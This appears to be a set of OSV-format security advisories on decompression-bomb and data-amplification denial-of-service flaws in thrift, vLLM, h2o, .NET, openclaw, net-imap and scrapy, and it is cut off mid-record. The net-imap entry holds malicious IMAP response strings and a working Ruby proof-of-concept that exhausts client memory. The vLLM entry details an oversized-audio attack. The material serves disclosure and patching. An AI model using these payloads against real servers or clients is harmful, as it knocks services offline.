{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "thrift"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41608"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-01T17:03:24Z",
    "nvd_published_at": "2026-07-27T12:16:44Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Python bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
  "id": "GHSA-6pjx-3pjc-mrj8",
  "modified": "2026-09-01T17:03:24Z",
  "published": "2026-07-27T12:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41608"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/thrift"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/vwsbcwqdpwdtp8qkjo11ol6rodbfm21f"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/24/32"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Thrift Python bindings have an Improper Handling of Highly Compressed Data (Data Amplification) vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "vllm"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54233"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:06:22Z",
    "nvd_published_at": "2026-06-22T23:16:31Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nvLLM\u0027s `/v1/audio/transcriptions` endpoint limits compressed upload size but not decoded PCM output. A 25MB OPUS file expands to ~14.9GB of float32 PCM at decode time. Tested on vLLM v0.19.0.\n\n### Details\n`SpeechToTextProcessor` rejects uploads over `VLLM_MAX_AUDIO_CLIP_FILESIZE_MB` (default 25MB) based on compressed byte length, but the audio decoder in `audio.py` accumulates all decoded frames into memory with no size limit before returning:\n\n```python\n# speech_to_text.py L184-189\nif len(audio_data) / 1024 ** 2 \u003e self.max_audio_filesize_mb:\n    raise VLLMValidationError(...)\ny, sr = load_audio(buf, sr=self.asr_config.sample_rate)  # decoded size unchecked\n\n# audio.py L77-107\nchunks: list[npt.NDArray] = []\nfor frame in container.decode(stream):\n    chunks.append(frame.to_ndarray())\naudio = np.concatenate(chunks, axis=-1).astype(np.float32)  # single contiguous allocation\n```\n\nA 25MB OPUS file at 6kbps encodes ~8.7 hours of audio. Decoding produces ~5.7GB of float32 PCM (232x amplification), and `np.concatenate` then allocates a second contiguous array, bringing peak RSS to ~14.9GB from a single request. `SpeechToTextConfig.max_audio_clip_s` (default 30s) applies only after the full decode and does not prevent the allocation.\n\n### Impact\nAn unauthenticated attacker can exhaust server memory with a small number of concurrent requests, each a valid upload within the documented size limit. Severity was assessed with reference to prior OOM vulnerability reports in vLLM.\n\n### Fix\n\nA fix for this vulnerability was merged here: https://github.com/vllm-project/vllm/pull/44970",
  "id": "GHSA-6pr9-rp53-2pmc",
  "modified": "2026-07-17T16:39:16Z",
  "published": "2026-06-17T14:06:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/security/advisories/GHSA-6pr9-rp53-2pmc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54233"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/pull/44970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/commit/1b1359c33269446f13c05da9a90c25174cbea590"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-6pr9-rp53-2pmc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/vllm/PYSEC-2026-3404.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/vllm-project/vllm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vllm-project/vllm/releases/tag/v0.23.1rc0"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/vllm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vLLM: OOM Denial of Service via Audio Decompression Bomb"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "h2o"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.32.1.2"
            },
            {
              "last_affected": "3.46.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ai.h2o:h2o-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.32.1.2"
            },
            {
              "last_affected": "3.46.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-20T19:56:42Z",
    "nvd_published_at": "2025-03-20T10:15:36Z",
    "severity": "HIGH"
  },
  "details": "In h2oai/h2o-3 version 3.46.0.2, a vulnerability exists where uploading and repeatedly parsing a large GZIP file can cause a denial of service. The server becomes unresponsive due to memory exhaustion and a large number of concurrent slow-running jobs. This issue arises from the improper handling of highly compressed data, leading to significant data amplification.",
  "id": "GHSA-6w62-3jvj-mfj6",
  "modified": "2025-03-20T19:56:42Z",
  "published": "2025-03-20T12:32:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7765"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h2oai/h2o-3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h2oai/h2o-3/blob/7d418fa19d3ab434f742818e37f891bef9102c97/h2o-core/src/main/java/water/parser/ParseDataset.java#L900"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/0e58b1a5-bdca-4e60-af92-09de9c76a9ff"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "H2O Vulnerable to Denial of Service (DoS) via Large GZIP Parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "System.Formats.Nrbf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43499"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-606"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-11-12T23:01:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Microsoft Security Advisory CVE-2024-43499 | .NET Denial of Service Vulnerability\n\n## \u003ca name=\"executive-summary\"\u003e\u003c/a\u003eExecutive summary\n\nMicrosoft is releasing this security advisory to provide information about a vulnerability in .NET 9.0. This advisory also provides guidance on what developers can do to update their applications to remove this vulnerability.\n\nThe NrbfDecoder component in .NET 9 contains a denial of service vulnerability due to incorrect input validation.\n\n\n## Announcement\n\nAnnouncement for this issue can be found at https://github.com/dotnet/announcements/issues/333\n\n## \u003ca name=\"mitigation-factors\"\u003e\u003c/a\u003eMitigation factors\n\nApplications that do not use the NrbfDecoder component are not affected by this vulnerability. By default, .NET console apps and web apps do not reference this component.\n\n## \u003ca name=\"affected-software\"\u003e\u003c/a\u003eAffected software\n\n* Any .NET 9.0 application running on .NET 9.0.0.RC.2 or earlier.\n\n## \u003ca name=\"affected-packages\"\u003e\u003c/a\u003eAffected Packages\nThe vulnerability affects any Microsoft .NET Core project if it uses any of affected packages versions listed below\n\n### \u003ca name=\".NET 9\"\u003e\u003c/a\u003e.NET 9\nPackage name | Affected version | Patched version\n------------ | ---------------- | -------------------------\n[System.Formats.Nrbf](https://www.nuget.org/packages/System.Formats.Nrbf)               |  \u003c9.0.0 | 9.0.0\n\n\n## Advisory FAQ\n\n### \u003ca name=\"how-affected\"\u003e\u003c/a\u003eHow do I know if I am affected?\n\nIf you have a runtime or SDK with a version listed, or an affected package listed in [affected software](#affected-packages) or [affected packages](#affected-software), you\u0027re exposed to the vulnerability.\n\n### \u003ca name=\"how-fix\"\u003e\u003c/a\u003eHow do I fix the issue?\n\n1. To fix the issue please install the latest version of .NET 9.0 . If you have installed one or more .NET SDKs through Visual Studio, Visual Studio will prompt you to update Visual Studio, which will also update your .NET  SDKs.\n2. If your application references the vulnerable package, update the package reference to the patched version.\n\nNote: You may need to take both actions. Upgrading to 9.0 GA is not by itself sufficient to resolve the vulnerability, since you could still be pulling in the vulnerable package by reference.\n\n* If you have .NET 8.0 or greater installed, you can list the versions you have installed by running the `dotnet --info` command. You will see output like the following;\n\n```\n.NET Core SDK (reflecting any global.json):\n\n\n Version:   8.0.200\n Commit:    8473146e7d\n\nRuntime Environment:\n\n OS Name:     Windows\n OS Version:  10.0.18363\n OS Platform: Windows\n RID:         win10-x64\n Base Path:   C:\\Program Files\\dotnet\\sdk\\6.0.300\\\n\nHost (useful for support):\n\n  Version: 8.0.3\n  Commit:  8473146e7d\n\n.NET Core SDKs installed:\n\n  8.0.200 [C:\\Program Files\\dotnet\\sdk]\n\n.NET Core runtimes installed:\n\n  Microsoft.NetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.NetCore.App]\n  Microsoft.AspNetCore.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.AspNetCore.App]\n  Microsoft.WindowsDesktop.App 8.0.3 [C:\\Program Files\\dotnet\\shared\\Microsoft.WindowsDesktop.App]\n\n\nTo install additional .NET Core runtimes or SDKs:\n  https://aka.ms/dotnet-download\n```\n\n* If you\u0027re using .NET 9.0, you should download and install .NET 9.0  Runtime or .NET 9.0.100 SDK (for Visual Studio 2022 v17.12 latest Preview) from https://dotnet.microsoft.com/download/dotnet-core/9.0.\n\nOnce you have installed the updated runtime or SDK, restart your apps for the update to take effect.\n\nAdditionally, if you\u0027ve deployed [self-contained applications](https://docs.microsoft.com/dotnet/core/deploying/#self-contained-deployments-scd) targeting any of the impacted versions, these applications are also vulnerable and must be recompiled and redeployed.\n\n## Other Information\n\n### Reporting Security Issues\n\nIf you have found a potential security issue in .NET 9.0 or .NET 8.0, please email details to secure@microsoft.com. Reports may qualify for the Microsoft .NET Core \u0026 .NET 5 Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at \u003chttps://aka.ms/corebounty\u003e.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime and https://github.com/dotnet/aspnet/. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2024-43499]( https://www.cve.org/CVERecord?id=CVE-2024-43499)\n\n### Revisions\n\nV1.0 (November 12, 2024): Advisory published.\n\n_Version 1.0_\n\n_Last Updated 2024-11-12_",
  "id": "GHSA-6x36-qxmj-rv4p",
  "modified": "2025-04-04T15:13:58Z",
  "published": "2024-11-12T23:01:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dotnet/runtime/security/advisories/GHSA-6x36-qxmj-rv4p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43499"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dotnet/runtime"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43499"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": ".NET Denial of Service Vulnerability"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:32:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `tar.bz2` installer path in `src/agents/skills-install-download.ts` used shell tar preflight/extract logic that did not share the same hardening guarantees as the centralized archive extractor.\n\nThis allowed crafted `.tar.bz2` archives to bypass special-entry blocking and extracted-size guardrails enforced on other archive paths, causing local availability impact during skill install.\n\n### Affected Packages / Versions\n- Package: `openclaw` (npm)\n- Latest published at triage time: `2026.3.1`\n- Affected range: `\u003c= 2026.3.1`\n- Patched in: `2026.3.2` (released)\n\n### Impact\nLocal DoS / availability impact when processing untrusted `.tar.bz2` skill archives.\n\n### Fix Commit(s)\n- `0dbb92dd2bcf9a32379d11c0f11ed016669dae3e`\n\n### Related advisories\n- Canonical overlap (closed): GHSA-3pj7-x8jr-jvj8\n- Duplicate variant (closed): GHSA-rgr7-g85h-6v82",
  "id": "GHSA-77hf-7fqf-f227",
  "modified": "2026-03-03T21:32:36Z",
  "published": "2026-03-03T21:32:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-77hf-7fqf-f227"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/0dbb92dd2bcf9a32379d11c0f11ed016669dae3e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenClaw skills-install-download: tar.bz2 extraction bypassed archive safety parity checks (local DoS)"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.3.2"
            },
            {
              "fixed": "0.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.4.0"
            },
            {
              "fixed": "0.4.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "net-imap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "0.5.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1287",
      "CWE-400",
      "CWE-405",
      "CWE-409",
      "CWE-770",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T17:42:43Z",
    "nvd_published_at": "2025-02-10T16:15:39Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThere is a possibility for denial of service by memory exhaustion in `net-imap`\u0027s response parser.  At any time while the client is connected, a malicious server can send  can send highly compressed `uid-set` data which is automatically read by the client\u0027s receiver thread.  The response parser uses `Range#to_a` to convert the `uid-set` data into arrays of integers, with no limitation on the expanded size of the ranges.\n\n### Details\nIMAP\u0027s `uid-set` and `sequence-set` formats can compress ranges of numbers, for example: `\"1,2,3,4,5\"` and `\"1:5\"` both represent the same set.  When `Net::IMAP::ResponseParser` receives `APPENDUID` or `COPYUID` response codes, it expands each `uid-set` into an array of integers.  On a 64 bit system, these arrays will expand to 8 bytes for each number in the set.  A malicious IMAP server may send specially crafted `APPENDUID` or `COPYUID` responses with very large `uid-set` ranges.\n\nThe `Net::IMAP` client parses each server response in a separate thread, as soon as each responses is received from the server.  This attack works even when the client does not handle the `APPENDUID` or `COPYUID` responses.\n\nMalicious inputs:\n\n```ruby\n# 40 bytes expands to ~1.6GB:\n\"* OK [COPYUID 1 1:99999999 1:99999999]\\r\\n\"\n\n# Worst *valid* input scenario (using uint32 max),\n# 44 bytes expands to 64GiB:\n\"* OK [COPYUID 1 1:4294967295 1:4294967295]\\r\\n\"\n\n# Numbers must be non-zero uint32, but this isn\u0027t validated.  Arrays larger than\n# UINT32_MAX can be created.  For example, the following would theoretically\n# expand to almost 800 exabytes:\n\"* OK [COPYUID 1 1:99999999999999999999 1:99999999999999999999]\\r\\n\"\n```\n\nSimple way to test this:\n```ruby\nrequire \"net/imap\"\n\ndef test(size)\n  input = \"A004 OK [COPYUID 1 1:#{size} 1:#{size}] too large?\\r\\n\"\n  parser = Net::IMAP::ResponseParser.new\n  parser.parse input\nend\n\ntest(99_999_999)\n```\n\n### Fixes\n\n#### Preferred Fix, minor API changes\nUpgrade to v0.4.19, v0.5.6, or higher, and configure:\n```ruby\n# globally\nNet::IMAP.config.parser_use_deprecated_uidplus_data = false\n# per-client\nimap = Net::IMAP.new(hostname, ssl: true,\n                               parser_use_deprecated_uidplus_data: false)\nimap.config.parser_use_deprecated_uidplus_data = false\n```\n\nThis replaces `UIDPlusData` with `AppendUIDData` and `CopyUIDData`.  These classes store their UIDs as `Net::IMAP::SequenceSet` objects (_not_ expanded into arrays of integers).  Code that does not handle `APPENDUID` or `COPYUID` responses will not notice any difference.  Code that does handle these responses _may_ need to be updated.  See the documentation for [UIDPlusData](https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html), [AppendUIDData](https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html) and [CopyUIDData](https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html).\n\nFor v0.3.8, this option is not available.\nFor v0.4.19, the default value is `true`.\nFor v0.5.6, the default value is `:up_to_max_size`.\nFor v0.6.0, the only allowed value will be `false`  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Mitigation, backward compatible API\nUpgrade to v0.3.8, v0.4.19, v0.5.6, or higher.\n\nFor backward compatibility, `uid-set` can still be expanded into an array, but a maximum limit will be applied.\n\nAssign `config.parser_max_deprecated_uidplus_data_size` to set the maximum `UIDPlusData` UID set size.\nWhen `config.parser_use_deprecated_uidplus_data == true`, larger sets will raise `Net::IMAP::ResponseParseError`.\nWhen  `config.parser_use_deprecated_uidplus_data == :up_to_max_size`, larger sets will use `AppendUIDData` or `CopyUIDData`.\n\nFor v0.3,8, this limit is _hard-coded_ to 10,000, and larger sets will always raise `Net::IMAP::ResponseParseError`.\nFor v0.4.19, the limit defaults to 1000.\nFor v0.5.6, the limit defaults to 100.\nFor v0.6.0, the limit will be ignored  _(`UIDPlusData` will be removed from v0.6)_.\n\n#### Please Note: unhandled responses\nIf the client does not add response handlers to prune unhandled responses, a malicious server can still eventually exhaust all client memory, by repeatedly sending malicious responses.  However, `net-imap` has always retained unhandled responses, and it has always been necessary for long-lived connections to prune these responses.  _This is not significantly different from connecting to a trusted server with a long-lived connection._  To limit the maximum number of retained responses, a simple handler might look something like the following:\n\n  ```ruby\n  limit = 1000\n  imap.add_response_handler do |resp|\n    next unless resp.respond_to?(:name) \u0026\u0026 resp.respond_to?(:data)\n    name = resp.name\n    code = resp.data.code\u0026.name if resp.data.respond_to?(:code)\n    if Net::IMAP::VERSION \u003e \"0.4.0\"\n      imap.responses(name) { _1.slice!(0...-limit) }\n      imap.responses(code) { _1.slice!(0...-limit) }\n    else\n      imap.responses(name).slice!(0...-limit)\n      imap.responses(code).slice!(0...-limit)\n    end\n  end\n  ```\n\n### Proof of concept\n\nSave the following to a ruby file (e.g: `poc.rb`) and make it executable:\n```ruby\n#!/usr/bin/env ruby\nrequire \u0027socket\u0027\nrequire \u0027net/imap\u0027\n\nif !defined?(Net::IMAP.config)\n  puts \"Net::IMAP.config is not available\"\nelsif !Net::IMAP.config.respond_to?(:parser_use_deprecated_uidplus_data)\n  puts \"Net::IMAP.config.parser_use_deprecated_uidplus_data is not available\"\nelse\n  Net::IMAP.config.parser_use_deprecated_uidplus_data = :up_to_max_size\n  puts \"Updated parser_use_deprecated_uidplus_data to :up_to_max_size\"\nend\n\nsize = Integer(ENV[\"UID_SET_SIZE\"] || 2**32-1)\n\ndef server_addr\n  Addrinfo.tcp(\"localhost\", 0).ip_address\nend\n\ndef create_tcp_server\n  TCPServer.new(server_addr, 0)\nend\n\ndef start_server\n  th = Thread.new do\n    yield\n  end\n  sleep 0.1 until th.stop?\nend\n\ndef copyuid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [COPYUID 1 1:#{size} 1:#{size}] #{text}\\r\\n\"\nend\n\ndef appenduid_response(tag: \"*\", size: 2**32-1, text: \"too large?\")\n  \"#{tag} OK [APPENDUID 1 1:#{size}] #{text}\\r\\n\"\nend\n\nserver = create_tcp_server\nport = server.addr[1]\nputs \"Server started on port #{port}\"\n\n# server\nstart_server do\n  sock = server.accept\n  begin\n    sock.print \"* OK test server\\r\\n\"\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n\n    malicious_response = appenduid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n\n    malicious_response = copyuid_response(size:)\n    puts \"Sending: #{malicious_response.chomp}\"\n    sock.print malicious_response\n    sock.print \"* CAPABILITY JUMBO=UIDPLUS PROOF_OF_CONCEPT\\r\\n\"\n    sock.print \"#{tag} OK CAPABILITY completed\\r\\n\"\n\n    cmd = sock.gets(\"\\r\\n\", chomp: true)\n    tag = cmd.match(/\\A(\\w+) /)[1]\n    puts \"Received: #{cmd}\"\n    sock.print \"* BYE If you made it this far, you passed the test!\\r\\n\"\n    sock.print \"#{tag} OK LOGOUT completed\\r\\n\"\n  rescue Exception =\u003e ex\n    puts \"Error in server: #{ex.message} (#{ex.class})\"\n  ensure\n    sock.close\n    server.close\n  end\nend\n\n# client\nbegin\n  puts \"Client connecting,..\"\n  imap = Net::IMAP.new(server_addr, port: port)\n  puts \"Received capabilities: #{imap.capability}\"\n  pp responses: imap.responses\n  imap.logout\nrescue Exception =\u003e ex\n  puts \"Error in client: #{ex.message} (#{ex.class})\"\n  puts ex.full_message\nensure\n  imap.disconnect if imap\nend\n```\n\nUse `ulimit` to limit the process\u0027s virtual memory.  The following example limits virtual memory to 1GB:\n```console\n$ ( ulimit -v 1000000 \u0026\u0026 exec ./poc.rb )\nServer started on port 34291\nClient connecting,..\nReceived: RUBY0001 CAPABILITY\nSending: * OK [APPENDUID 1 1:4294967295] too large?\nSending: * OK [COPYUID 1 1:4294967295 1:4294967295] too large?\nError in server: Connection reset by peer @ io_fillbuf - fd:9  (Errno::ECONNRESET)\nError in client: failed to allocate memory (NoMemoryError)\n/gems/net-imap-0.5.5/lib/net/imap.rb:3271:in \u0027Net::IMAP#get_tagged_response\u0027: failed to allocate memory (NoMemoryError)\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3371:in \u0027block in Net::IMAP#send_command\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:3353:in \u0027Net::IMAP#send_command\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1128:in \u0027block in Net::IMAP#capability\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027Monitor#synchronize\u0027\n        from /rubylibdir/monitor.rb:201:in \u0027MonitorMixin#mon_synchronize\u0027\n        from /gems/net-imap-0.5.5/lib/net/imap.rb:1127:in \u0027Net::IMAP#capability\u0027\n        from /workspace/poc.rb:70:in \u0027\u003cmain\u003e\u0027\n```",
  "id": "GHSA-7fc5-f82f-cx69",
  "modified": "2025-04-30T20:43:04Z",
  "published": "2025-02-10T17:42:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/security/advisories/GHSA-7fc5-f82f-cx69"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/70e3ddd071a94e450b3238570af482c296380b35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/c8c5a643739d2669f0c9a6bb9770d0c045fd74a3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/net-imap/commit/cb92191b1ddce2d978d01b56a0883b6ecf0b1022"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/net-imap"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2025-25186.yml"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/AppendUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/CopyUIDData.html"
    },
    {
      "type": "WEB",
      "url": "https://ruby.github.io/net-imap/Net/IMAP/UIDPlusData.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Possible DoS by memory exhaustion in net-imap"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.8.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-3572"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-02-16T16:07:13Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nScrapy limits allowed response sizes by default through the [`DOWNLOAD_MAXSIZE`](https://docs.scrapy.org/en/latest/topics/settings.html#download-maxsize) and [`DOWNLOAD_WARNSIZE`](https://docs.scrapy.org/en/latest/topics/settings.html#download-warnsize) settings.\n\nHowever, those limits were only being enforced during the download of the raw, usually-compressed response bodies, and not during decompression, making Scrapy vulnerable to [decompression bombs](https://cwe.mitre.org/data/definitions/409.html).\n\nA malicious website being scraped could send a small response that, on decompression, could exhaust the memory available to the Scrapy process, potentially affecting any other process sharing that memory, and affecting disk usage in case of uncompressed response caching.\n\n### Patches\n\nUpgrade to Scrapy 2.11.1.\n\nIf you are using Scrapy 1.8 or a lower version, and upgrading to Scrapy 2.11.1 is not an option, you may upgrade to Scrapy 1.8.4 instead.\n\n### Workarounds\n\nThere is no easy workaround.\n\nDisabling HTTP decompression altogether is impractical, as HTTP compression is a rather common practice.\n\nHowever, it is technically possible to manually backport the 2.11.1 or 1.8.4 fix, replacing the corresponding components of an unpatched version of Scrapy with patched versions copied into your own code.\n\n### Acknowledgements\n\nThis security issue was reported by @dmandefy  [through huntr.com](https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb/).",
  "id": "GHSA-7j7m-v7m3-jqm7",
  "modified": "2024-04-16T14:05:17Z",
  "published": "2024-02-16T16:07:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/security/advisories/GHSA-7j7m-v7m3-jqm7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/71b8741e3607cfda2833c7624d4ada87071aa8e5"
